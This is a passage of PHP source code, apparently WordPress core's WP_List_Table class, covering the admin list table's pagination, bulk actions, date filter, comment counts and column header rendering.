	 * The view switcher modes.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $modes = array();

/**
	 * Stores the value returned by ->get_column_info().
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $_column_headers;

/**
	 * {@internal Missing Summary}
	 *
	 * @var array
	 */
	protected $compat_fields = array( '_args', '_pagination_args', 'screen', '_actions', '_pagination' );

/**
	 * {@internal Missing Summary}
	 *
	 * @var array
	 */
	protected $compat_methods = array(
		'set_pagination_args',
		'get_views',
		'get_bulk_actions',
		'bulk_actions',
		'row_actions',
		'months_dropdown',
		'view_switcher',
		'comments_bubble',
		'get_items_per_page',
		'pagination',
		'get_sortable_columns',
		'get_column_info',
		'get_table_classes',
		'display_tablenav',
		'extra_tablenav',
		'single_row_columns',
	);

/**
	 * Constructor.
	 *
	 * The child class should call this constructor from its own constructor to override
	 * the default $args.
	 *
	 * @since 3.1.0
	 *
	 * @param array|string $args {
	 *     Array or string of arguments.
	 *
	 *     @type string $plural   Plural value used for labels and the objects being listed.
	 *                            This affects things such as CSS class-names and nonces used
	 *                            in the list table, e.g. 'posts'. Default empty.
	 *     @type string $singular Singular label for an object being listed, e.g. 'post'.
	 *                            Default empty
	 *     @type bool   $ajax     Whether the list table supports Ajax. This includes loading
	 *                            and sorting data, for example. If true, the class will call
	 *                            the _js_vars() method in the footer to provide variables
	 *                            to any scripts handling Ajax events. Default false.
	 *     @type string $screen   String containing the hook name used to determine the current
	 *                            screen. If left null, the current screen will be automatically set.
	 *                            Default null.
	 * }
	 */
	public function __construct( $args = array() ) {
		$args = wp_parse_args(
			$args,
			array(
				'plural'   => '',
				'singular' => '',
				'ajax'     => false,
				'screen'   => null,
			)
		);

$this->screen = convert_to_screen( $args['screen'] );

add_filter( "manage_{$this->screen->id}_columns", array( $this, 'get_columns' ), 0 );

if ( ! $args['plural'] ) {
			$args['plural'] = $this->screen->base;
		}

$args['plural']   = sanitize_key( $args['plural'] );
		$args['singular'] = sanitize_key( $args['singular'] );

$this->_args = $args;

if ( $args['ajax'] ) {
			// wp_enqueue_script( 'list-table' );
			add_action( 'admin_footer', array( $this, '_js_vars' ) );
		}

if ( empty( $this->modes ) ) {
			$this->modes = array(
				'list'    => __( 'Compact view' ),
				'excerpt' => __( 'Extended view' ),
			);
		}
	}

/**
	 * Make private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return $this->$name;
		}
	}

/**
	 * Make private properties settable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name  Property to check if set.
	 * @param mixed  $value Property value.
	 * @return mixed Newly-set property.
	 */
	public function __set( $name, $value ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return $this->$name = $value;
		}
	}

/**
	 * Make private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return isset( $this->$name );
		}
	}

/**
	 * Make private properties un-settable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			unset( $this->$name );
		}
	}

/**
	 * Make private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|bool Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( in_array( $name, $this->compat_methods, true ) ) {
			return $this->$name( ...$arguments );
		}
		return false;
	}

/**
	 * Checks the current user's permissions
	 *
	 * @since 3.1.0
	 * @abstract
	 */
	public function ajax_user_can() {
		die( 'function WP_List_Table::ajax_user_can() must be overridden in a subclass.' );
	}

/**
	 * Prepares the list of items for displaying.
	 *
	 * @uses WP_List_Table::set_pagination_args()
	 *
	 * @since 3.1.0
	 * @abstract
	 */
	public function prepare_items() {
		die( 'function WP_List_Table::prepare_items() must be overridden in a subclass.' );
	}

/**
	 * An internal method that sets all the necessary pagination arguments
	 *
	 * @since 3.1.0
	 *
	 * @param array|string $args Array or string of arguments with information about the pagination.
	 */
	protected function set_pagination_args( $args ) {
		$args = wp_parse_args(
			$args,
			array(
				'total_items' => 0,
				'total_pages' => 0,
				'per_page'    => 0,
			)
		);

if ( ! $args['total_pages'] && $args['per_page'] > 0 ) {
			$args['total_pages'] = ceil( $args['total_items'] / $args['per_page'] );
		}

// Redirect if page number is invalid and headers are not already sent.
		if ( ! headers_sent() && ! wp_doing_ajax() && $args['total_pages'] > 0 && $this->get_pagenum() > $args['total_pages'] ) {
			wp_redirect( add_query_arg( 'paged', $args['total_pages'] ) );
			exit;
		}

$this->_pagination_args = $args;
	}

/**
	 * Access the pagination args.
	 *
	 * @since 3.1.0
	 *
	 * @param string $key Pagination argument to retrieve. Common values include 'total_items',
	 *                    'total_pages', 'per_page', or 'infinite_scroll'.
	 * @return int Number of items that correspond to the given pagination argument.
	 */
	public function get_pagination_arg( $key ) {
		if ( 'page' === $key ) {
			return $this->get_pagenum();
		}

if ( isset( $this->_pagination_args[ $key ] ) ) {
			return $this->_pagination_args[ $key ];
		}
	}

/**
	 * Whether the table has items to display or not
	 *
	 * @since 3.1.0
	 *
	 * @return bool
	 */
	public function has_items() {
		return ! empty( $this->items );
	}

/**
	 * Message to be displayed when there are no items
	 *
	 * @since 3.1.0
	 */
	public function no_items() {
		_e( 'No items found.' );
	}

/**
	 * Displays the search box.
	 *
	 * @since 3.1.0
	 *
	 * @param string $text     The 'submit' button label.
	 * @param string $input_id ID attribute value for the search input field.
	 */
	public function search_box( $text, $input_id ) {
		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) {
			return;
		}

$input_id = $input_id . '-search-input';

if ( ! empty( $_REQUEST['orderby'] ) ) {
			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['order'] ) ) {
			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['post_mime_type'] ) ) {
			echo '<input type="hidden" name="post_mime_type" value="' . esc_attr( $_REQUEST['post_mime_type'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['detached'] ) ) {
			echo '<input type="hidden" name="detached" value="' . esc_attr( $_REQUEST['detached'] ) . '" />';
		}
		?>
<p class="search-box">
	<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
	<input type="search" id="<?php echo esc_attr( $input_id ); ?>" name="s" value="<?php _admin_search_query(); ?>" />
		<?php submit_button( $text, '', '', false, array( 'id' => 'search-submit' ) ); ?>
</p>
		<?php
	}

/**
	 * Gets the list of views available on this table.
	 *
	 * The format is an associative array:
	 * - `'id' => 'link'`
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_views() {
		return array();
	}

/**
	 * Displays the list of views available on this table.
	 *
	 * @since 3.1.0
	 */
	public function views() {
		$views = $this->get_views();
		/**
		 * Filters the list of available list table views.
		 *
		 * The dynamic portion of the hook name, `$this->screen->id`, refers
		 * to the ID of the current screen, usually a string.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $views An array of available list table views.
		 */
		$views = apply_filters( "views_{$this->screen->id}", $views );

if ( empty( $views ) ) {
			return;
		}

$this->screen->render_screen_reader_content( 'heading_views' );

echo "<ul class='subsubsub'>\n";
		foreach ( $views as $class => $view ) {
			$views[ $class ] = "\t<li class='$class'>$view";
		}
		echo implode( " |</li>\n", $views ) . "</li>\n";
		echo '</ul>';
	}

/**
	 * Gets the list of bulk actions available on this table.
	 *
	 * The format is an associative array:
	 * - `'option_name' => 'option_title'`
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		return array();
	}

/**
	 * Displays the bulk actions dropdown.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which The location of the bulk actions: 'top' or 'bottom'.
	 *                      This is designated as optional for backward compatibility.
	 */
	protected function bulk_actions( $which = '' ) {
		if ( is_null( $this->_actions ) ) {
			$this->_actions = $this->get_bulk_actions();

/**
			 * Filters the list table bulk actions drop-down.
			 *
			 * The dynamic portion of the hook name, `$this->screen->id`, refers
			 * to the ID of the current screen, usually a string.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $actions An array of the available bulk actions.
			 */
			$this->_actions = apply_filters( "bulk_actions-{$this->screen->id}", $this->_actions ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

$two = '';
		} else {
			$two = '2';
		}

if ( empty( $this->_actions ) ) {
			return;
		}

echo '<label for="bulk-action-selector-' . esc_attr( $which ) . '" class="screen-reader-text">' . __( 'Select bulk action' ) . '</label>';
		echo '<select name="action' . $two . '" id="bulk-action-selector-' . esc_attr( $which ) . "\">\n";
		echo '<option value="-1">' . __( 'Bulk actions' ) . "</option>\n";

foreach ( $this->_actions as $name => $title ) {
			$class = 'edit' === $name ? ' class="hide-if-no-js"' : '';

echo "\t" . '<option value="' . $name . '"' . $class . '>' . $title . "</option>\n";
		}

echo "</select>\n";

submit_button( __( 'Apply' ), 'action', '', false, array( 'id' => "doaction$two" ) );
		echo "\n";
	}

/**
	 * Gets the current action selected from the bulk actions dropdown.
	 *
	 * @since 3.1.0
	 *
	 * @return string|false The action name. False if no action was selected.
	 */
	public function current_action() {
		if ( isset( $_REQUEST['filter_action'] ) && ! empty( $_REQUEST['filter_action'] ) ) {
			return false;
		}

if ( isset( $_REQUEST['action'] ) && -1 != $_REQUEST['action'] ) {
			return $_REQUEST['action'];
		}

if ( isset( $_REQUEST['action2'] ) && -1 != $_REQUEST['action2'] ) {
			return $_REQUEST['action2'];
		}

return false;
	}

/**
	 * Generates the required HTML for a list of row action links.
	 *
	 * @since 3.1.0
	 *
	 * @param string[] $actions        An array of action links.
	 * @param bool     $always_visible Whether the actions should be always visible.
	 * @return string The HTML for the row actions.
	 */
	protected function row_actions( $actions, $always_visible = false ) {
		$action_count = count( $actions );

if ( ! $action_count ) {
			return '';
		}

$mode = get_user_setting( 'posts_list_mode', 'list' );

if ( 'excerpt' === $mode ) {
			$always_visible = true;
		}

$out = '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">';

$i = 0;

foreach ( $actions as $action => $link ) {
			++$i;

$sep = ( $i < $action_count ) ? ' | ' : '';

$out .= "<span class='$action'>$link$sep</span>";
		}

$out .= '</div>';

$out .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __( 'Show more details' ) . '</span></button>';

return $out;
	}

/**
	 * Displays a dropdown for filtering items in the list table by month.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb      $wpdb      WordPress database abstraction object.
	 * @global WP_Locale $wp_locale WordPress date and time locale object.
	 *
	 * @param string $post_type The post type.
	 */
	protected function months_dropdown( $post_type ) {
		global $wpdb, $wp_locale;

/**
		 * Filters whether to remove the 'Months' drop-down from the post list table.
		 *
		 * @since 4.2.0
		 *
		 * @param bool   $disable   Whether to disable the drop-down. Default false.
		 * @param string $post_type The post type.
		 */
		if ( apply_filters( 'disable_months_dropdown', false, $post_type ) ) {
			return;
		}

$extra_checks = "AND post_status != 'auto-draft'";
		if ( ! isset( $_GET['post_status'] ) || 'trash' !== $_GET['post_status'] ) {
			$extra_checks .= " AND post_status != 'trash'";
		} elseif ( isset( $_GET['post_status'] ) ) {
			$extra_checks = $wpdb->prepare( ' AND post_status = %s', $_GET['post_status'] );
		}

$months = $wpdb->get_results(
			$wpdb->prepare(
				"
			SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
			FROM $wpdb->posts
			WHERE post_type = %s
			$extra_checks
			ORDER BY post_date DESC
		",
				$post_type
			)
		);

/**
		 * Filters the 'Months' drop-down results.
		 *
		 * @since 3.7.0
		 *
		 * @param object[] $months    Array of the months drop-down query results.
		 * @param string   $post_type The post type.
		 */
		$months = apply_filters( 'months_dropdown_results', $months, $post_type );

$month_count = count( $months );

if ( ! $month_count || ( 1 == $month_count && 0 == $months[0]->month ) ) {
			return;
		}

$m = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0;
		?>
		<label for="filter-by-date" class="screen-reader-text"><?php _e( 'Filter by date' ); ?></label>
		<select name="m" id="filter-by-date">
			<option<?php selected( $m, 0 ); ?> value="0"><?php _e( 'All dates' ); ?></option>
		<?php
		foreach ( $months as $arc_row ) {
			if ( 0 == $arc_row->year ) {
				continue;
			}

$month = zeroise( $arc_row->month, 2 );
			$year  = $arc_row->year;

printf(
				"<option %s value='%s'>%s</option>\n",
				selected( $m, $year . $month, false ),
				esc_attr( $arc_row->year . $month ),
				/* translators: 1: Month name, 2: 4-digit year. */
				sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month ), $year )
			);
		}
		?>
		</select>
		<?php
	}

/**
	 * Displays a view switcher.
	 *
	 * @since 3.1.0
	 *
	 * @param string $current_mode
	 */
	protected function view_switcher( $current_mode ) {
		?>
		<input type="hidden" name="mode" value="<?php echo esc_attr( $current_mode ); ?>" />
		<div class="view-switch">
		<?php
		foreach ( $this->modes as $mode => $title ) {
			$classes      = array( 'view-' . $mode );
			$aria_current = '';

if ( $current_mode === $mode ) {
				$classes[]    = 'current';
				$aria_current = ' aria-current="page"';
			}

printf(
				"<a href='%s' class='%s' id='view-switch-$mode'$aria_current><span class='screen-reader-text'>%s</span></a>\n",
				esc_url( remove_query_arg( 'attachment-filter', add_query_arg( 'mode', $mode ) ) ),
				implode( ' ', $classes ),
				$title
			);
		}
		?>
		</div>
		<?php
	}

/**
	 * Displays a comment count bubble.
	 *
	 * @since 3.1.0
	 *
	 * @param int $post_id          The post ID.
	 * @param int $pending_comments Number of pending comments.
	 */
	protected function comments_bubble( $post_id, $pending_comments ) {
		$approved_comments = get_comments_number();

$approved_comments_number = number_format_i18n( $approved_comments );
		$pending_comments_number  = number_format_i18n( $pending_comments );

$approved_only_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s comment', '%s comments', $approved_comments ),
			$approved_comments_number
		);

$approved_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s approved comment', '%s approved comments', $approved_comments ),
			$approved_comments_number
		);

$pending_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s pending comment', '%s pending comments', $pending_comments ),
			$pending_comments_number
		);

if ( ! $approved_comments && ! $pending_comments ) {
			// No comments at all.
			printf(
				'<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">%s</span>',
				__( 'No comments' )
			);
		} elseif ( $approved_comments && 'trash' === get_post_status( $post_id ) ) {
			// Don't link the comment bubble for a trashed post.
			printf(
				'<span class="post-com-count post-com-count-approved"><span class="comment-count-approved" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></span>',
				$approved_comments_number,
				$pending_comments ? $approved_phrase : $approved_only_phrase
			);
		} elseif ( $approved_comments ) {
			// Link the comment bubble to approved comments.
			printf(
				'<a href="%s" class="post-com-count post-com-count-approved"><span class="comment-count-approved" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
				esc_url(
					add_query_arg(
						array(
							'p'              => $post_id,
							'comment_status' => 'approved',
						),
						admin_url( 'edit-comments.php' )
					)
				),
				$approved_comments_number,
				$pending_comments ? $approved_phrase : $approved_only_phrase
			);
		} else {
			// Don't link the comment bubble when there are no approved comments.
			printf(
				'<span class="post-com-count post-com-count-no-comments"><span class="comment-count comment-count-no-comments" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></span>',
				$approved_comments_number,
				$pending_comments ? __( 'No approved comments' ) : __( 'No comments' )
			);
		}

if ( $pending_comments ) {
			printf(
				'<a href="%s" class="post-com-count post-com-count-pending"><span class="comment-count-pending" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
				esc_url(
					add_query_arg(
						array(
							'p'              => $post_id,
							'comment_status' => 'moderated',
						),
						admin_url( 'edit-comments.php' )
					)
				),
				$pending_comments_number,
				$pending_phrase
			);
		} else {
			printf(
				'<span class="post-com-count post-com-count-pending post-com-count-no-pending"><span class="comment-count comment-count-no-pending" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></span>',
				$pending_comments_number,
				$approved_comments ? __( 'No pending comments' ) : __( 'No comments' )
			);
		}
	}

/**
	 * Gets the current page number.
	 *
	 * @since 3.1.0
	 *
	 * @return int
	 */
	public function get_pagenum() {
		$pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0;

if ( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] ) {
			$pagenum = $this->_pagination_args['total_pages'];
		}

return max( 1, $pagenum );
	}

/**
	 * Gets the number of items to display on a single page.
	 *
	 * @since 3.1.0
	 *
	 * @param string $option
	 * @param int    $default
	 * @return int
	 */
	protected function get_items_per_page( $option, $default = 20 ) {
		$per_page = (int) get_user_option( $option );
		if ( empty( $per_page ) || $per_page < 1 ) {
			$per_page = $default;
		}

/**
		 * Filters the number of items to be displayed on each page of the list table.
		 *
		 * The dynamic hook name, `$option`, refers to the `per_page` option depending
		 * on the type of list table in use. Possible filter names include:
		 *
		 *  - `edit_comments_per_page`
		 *  - `sites_network_per_page`
		 *  - `site_themes_network_per_page`
		 *  - `themes_network_per_page'`
		 *  - `users_network_per_page`
		 *  - `edit_post_per_page`
		 *  - `edit_page_per_page'`
		 *  - `edit_{$post_type}_per_page`
		 *  - `edit_post_tag_per_page`
		 *  - `edit_category_per_page`
		 *  - `edit_{$taxonomy}_per_page`
		 *  - `site_users_network_per_page`
		 *  - `users_per_page`
		 *
		 * @since 2.9.0
		 *
		 * @param int $per_page Number of items to be displayed. Default 20.
		 */
		return (int) apply_filters( "{$option}", $per_page );
	}

/**
	 * Displays the pagination.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which
	 */
	protected function pagination( $which ) {
		if ( empty( $this->_pagination_args ) ) {
			return;
		}

$total_items     = $this->_pagination_args['total_items'];
		$total_pages     = $this->_pagination_args['total_pages'];
		$infinite_scroll = false;
		if ( isset( $this->_pagination_args['infinite_scroll'] ) ) {
			$infinite_scroll = $this->_pagination_args['infinite_scroll'];
		}

if ( 'top' === $which && $total_pages > 1 ) {
			$this->screen->render_screen_reader_content( 'heading_pagination' );
		}

$output = '<span class="displaying-num">' . sprintf(
			/* translators: %s: Number of items. */
			_n( '%s item', '%s items', $total_items ),
			number_format_i18n( $total_items )
		) . '</span>';

$current              = $this->get_pagenum();
		$removable_query_args = wp_removable_query_args();

$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );

$current_url = remove_query_arg( $removable_query_args, $current_url );

$page_links = array();

$total_pages_before = '<span class="paging-input">';
		$total_pages_after  = '</span></span>';

$disable_first = false;
		$disable_last  = false;
		$disable_prev  = false;
		$disable_next  = false;

if ( 1 == $current ) {
			$disable_first = true;
			$disable_prev  = true;
		}
		if ( 2 == $current ) {
			$disable_first = true;
		}
		if ( $total_pages == $current ) {
			$disable_last = true;
			$disable_next = true;
		}
		if ( $total_pages - 1 == $current ) {
			$disable_last = true;
		}

if ( $disable_first ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&laquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='first-page button' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
				esc_url( remove_query_arg( 'paged', $current_url ) ),
				__( 'First page' ),
				'&laquo;'
			);
		}

if ( $disable_prev ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&lsaquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='prev-page button' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
				esc_url( add_query_arg( 'paged', max( 1, $current - 1 ), $current_url ) ),
				__( 'Previous page' ),
				'&lsaquo;'
			);
		}

if ( 'bottom' === $which ) {
			$html_current_page  = $current;
			$total_pages_before = '<span class="screen-reader-text">' . __( 'Current Page' ) . '</span><span id="table-paging" class="paging-input"><span class="tablenav-paging-text">';
		} else {
			$html_current_page = sprintf(
				"%s<input class='current-page' id='current-page-selector' type='text' name='paged' value='%s' size='%d' aria-describedby='table-paging' /><span class='tablenav-paging-text'>",
				'<label for="current-page-selector" class="screen-reader-text">' . __( 'Current Page' ) . '</label>',
				$current,
				strlen( $total_pages )
			);
		}
		$html_total_pages = sprintf( "<span class='total-pages'>%s</span>", number_format_i18n( $total_pages ) );
		$page_links[]     = $total_pages_before . sprintf(
			/* translators: 1: Current page, 2: Total pages. */
			_x( '%1$s of %2$s', 'paging' ),
			$html_current_page,
			$html_total_pages
		) . $total_pages_after;

if ( $disable_next ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&rsaquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='next-page button' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
				esc_url( add_query_arg( 'paged', min( $total_pages, $current + 1 ), $current_url ) ),
				__( 'Next page' ),
				'&rsaquo;'
			);
		}

if ( $disable_last ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&raquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='last-page button' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
				esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ),
				__( 'Last page' ),
				'&raquo;'
			);
		}

$pagination_links_class = 'pagination-links';
		if ( ! empty( $infinite_scroll ) ) {
			$pagination_links_class .= ' hide-if-js';
		}
		$output .= "\n<span class='$pagination_links_class'>" . join( "\n", $page_links ) . '</span>';

if ( $total_pages ) {
			$page_class = $total_pages < 2 ? ' one-page' : '';
		} else {
			$page_class = ' no-pages';
		}
		$this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>";

echo $this->_pagination;
	}

/**
	 * Gets a list of columns.
	 *
	 * The format is:
	 * - `'internal-name' => 'Title'`
	 *
	 * @since 3.1.0
	 * @abstract
	 *
	 * @return array
	 */
	public function get_columns() {
		die( 'function WP_List_Table::get_columns() must be overridden in a subclass.' );
	}

/**
	 * Gets a list of sortable columns.
	 *
	 * The format is:
	 * - `'internal-name' => 'orderby'`
	 * - `'internal-name' => array( 'orderby', 'asc' )` - The second element sets the initial sorting order.
	 * - `'internal-name' => array( 'orderby', true )`  - The second element makes the initial order descending.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array();
	}

/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, an empty string.
	 */
	protected function get_default_primary_column_name() {
		$columns = $this->get_columns();
		$column  = '';

if ( empty( $columns ) ) {
			return $column;
		}

// We need a primary defined so responsive views show something,
		// so let's fall back to the first non-checkbox column.
		foreach ( $columns as $col => $column_name ) {
			if ( 'cb' === $col ) {
				continue;
			}

$column = $col;
			break;
		}

return $column;
	}

/**
	 * Public wrapper for WP_List_Table::get_default_primary_column_name().
	 *
	 * @since 4.4.0
	 *
	 * @return string Name of the default primary column.
	 */
	public function get_primary_column() {
		return $this->get_primary_column_name();
	}

/**
	 * Gets the name of the primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string The name of the primary column.
	 */
	protected function get_primary_column_name() {
		$columns = get_column_headers( $this->screen );
		$default = $this->get_default_primary_column_name();

// If the primary column doesn't exist,
		// fall back to the first non-checkbox column.
		if ( ! isset( $columns[ $default ] ) ) {
			$default = WP_List_Table::get_default_primary_column_name();
		}

/**
		 * Filters the name of the primary column for the current list table.
		 *
		 * @since 4.3.0
		 *
		 * @param string $default Column name default for the specific list table, e.g. 'name'.
		 * @param string $context Screen ID for specific list table, e.g. 'plugins'.
		 */
		$column = apply_filters( 'list_table_primary_column', $default, $this->screen->id );

if ( empty( $column ) || ! isset( $columns[ $column ] ) ) {
			$column = $default;
		}

return $column;
	}

/**
	 * Gets a list of all, hidden and sortable columns, with filter applied.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_column_info() {
		// $_column_headers is already set / cached.
		if ( isset( $this->_column_headers ) && is_array( $this->_column_headers ) ) {
			// Back-compat for list tables that have been manually setting $_column_headers for horse reasons.
			// In 4.3, we added a fourth argument for primary column.
			$column_headers = array( array(), array(), array(), $this->get_primary_column_name() );
			foreach ( $this->_column_headers as $key => $value ) {
				$column_headers[ $key ] = $value;
			}

return $column_headers;
		}

$columns = get_column_headers( $this->screen );
		$hidden  = get_hidden_columns( $this->screen );

$sortable_columns = $this->get_sortable_columns();
		/**
		 * Filters the list table sortable columns for a specific screen.
		 *
		 * The dynamic portion of the hook name, `$this->screen->id`, refers
		 * to the ID of the current screen, usually a string.
		 *
		 * @since 3.1.0
		 *
		 * @param array $sortable_columns An array of sortable columns.
		 */
		$_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns );

$sortable = array();
		foreach ( $_sortable as $id => $data ) {
			if ( empty( $data ) ) {
				continue;
			}

$data = (array) $data;
			if ( ! isset( $data[1] ) ) {
				$data[1] = false;
			}

$sortable[ $id ] = $data;
		}

$primary               = $this->get_primary_column_name();
		$this->_column_headers = array( $columns, $hidden, $sortable, $primary );

return $this->_column_headers;
	}

/**
	 * Returns the number of visible columns.
	 *
	 * @since 3.1.0
	 *
	 * @return int
	 */
	public function get_column_count() {
		list ( $columns, $hidden ) = $this->get_column_info();
		$hidden                    = array_intersect( array_keys( $columns ), array_filter( $hidden ) );
		return count( $columns ) - count( $hidden );
	}

/**
	 * Prints column headers, accounting for hidden and sortable columns.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $with_id Whether to set the ID attribute or not
	 */
	public function print_column_headers( $with_id = true ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
		$current_url = remove_query_arg( 'paged', $current_url );

if ( isset( $_GET['orderby'] ) ) {
			$current_orderby = $_GET['orderby'];
		} else {
			$current_orderby = '';
		}

if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
			$current_order = 'desc';
		} else {
			$current_order = 'asc';
		}

if ( ! empty( $columns['cb'] ) ) {
			static $cb_counter = 1;
			$columns['cb']     = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . __( 'Select All' ) . '</label>'
				. '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />';
			$cb_counter++;
		}

foreach ( $columns as $column_key => $column_display_name ) {
			$class = array( 'manage-column', "column-$column_key" );

if ( in_array( $column_key, $hidden, true ) ) {
				$class[] = 'hidden';
			}

if ( 'cb' === $column_key ) {
				$class[] = 'check-column';
			} elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ), true ) ) {
				$class[] = 'num';
			}

if ( $column_key === $primary ) {
				$class[] = 'column-primary';
			}

if ( isset( $sortable[ $column_key ] ) ) {
				list( $orderby, $desc_first ) = $sortable[ $column_key ];

if ( $current_orderby === $orderby ) {
					$order = 'asc' === $current_order ? 'desc' : 'asc';

$class[] = 'sorted';
					$class[] = $current_order;
				} else {
					$order = strtolower( $desc_first );

if ( ! in_array( $order, array( 'desc', 'asc' ), true ) ) {
						$order = $desc_first ? 'desc' : 'asc';
					}

$class[] = 'sortable';
					$class[] = 'desc' === $order ? 'asc' : 'desc';
				}

$column_display_name = sprintf(
					'<a href="%s"><span>%s</span><span class="sorting-indicator"></span></a>',
					esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ),
					$column_display_name
				);
			}

$tag   = ( 'cb' === $column_key ) ? 'td' : 'th';
			$scope = ( 'th' === $tag ) ? 'scope="col"' : '';
			$id    = $with_id ? "id='$column_key'" : '';

if ( ! empty( $class ) ) {
				$class = "class='" . join( ' ', $class ) . "'";
			}

echo "<$tag $scope $id $class>$column_display_name</$tag>";
		}
	}

/**
	 * Displays the table.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		$singular = $this->_args['singular'];

$this->display_tablenav( 'top' );

$this->screen->render_screen_reader_content( 'heading_list' );
		?>
<table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
	<thead>
	<tr>
		<?php $this->print_column_headers(); ?>
	</tr>
	</thead>

<tbody id="the-list"
		<?php
		if ( $singular ) {
			echo " data-wp-lists='list:$singular'";
		}
		?>
		>
		<?php $this->display_rows_or_placeholder(); ?>
	</tbody>

<tfoot>
	<tr>
		<?php $this->print_column_headers( false ); ?>
	</tr>
	</tfoot>

</table>
		<?php
		$this->display_tablenav( 'bottom' );
	}

/**
	 * Gets a list of CSS classes for the WP_List_Table table tag.
	 *
	 * @since 3.1.0
	 *
	 * @return string[] Array of CSS classes for the table tag.
	 */
	protected function get_table_classes() {
		$mode = get_user_setting( 'posts_list_mode', 'list' );

$mode_class = esc_attr( 'table-view-' . $mode );

return array( 'widefat', 'fixed', 'striped', $mode_class, $this->_args['plural'] );
	}

/**
	 * Generates the table navigation above or below the table
	 *
	 * @since 3.1.0
	 * @param string $which
	 */
	protected function display_tablenav( $which ) {
		if ( 'top' === $which ) {
			wp_nonce_field( 'bulk-' . $this->_args['plural'] );
		}
		?>
	<div class="tablenav <?php echo esc_attr( $which ); ?>">

<?php if ( $this->has_items() ) : ?>
		<div class="alignleft actions bulkactions">
			<?php $this->bulk_actions( $which ); ?>
		</div>
			<?php
		endif;
		$this->extra_tablenav( $which );
		$this->pagination( $which );
		?>

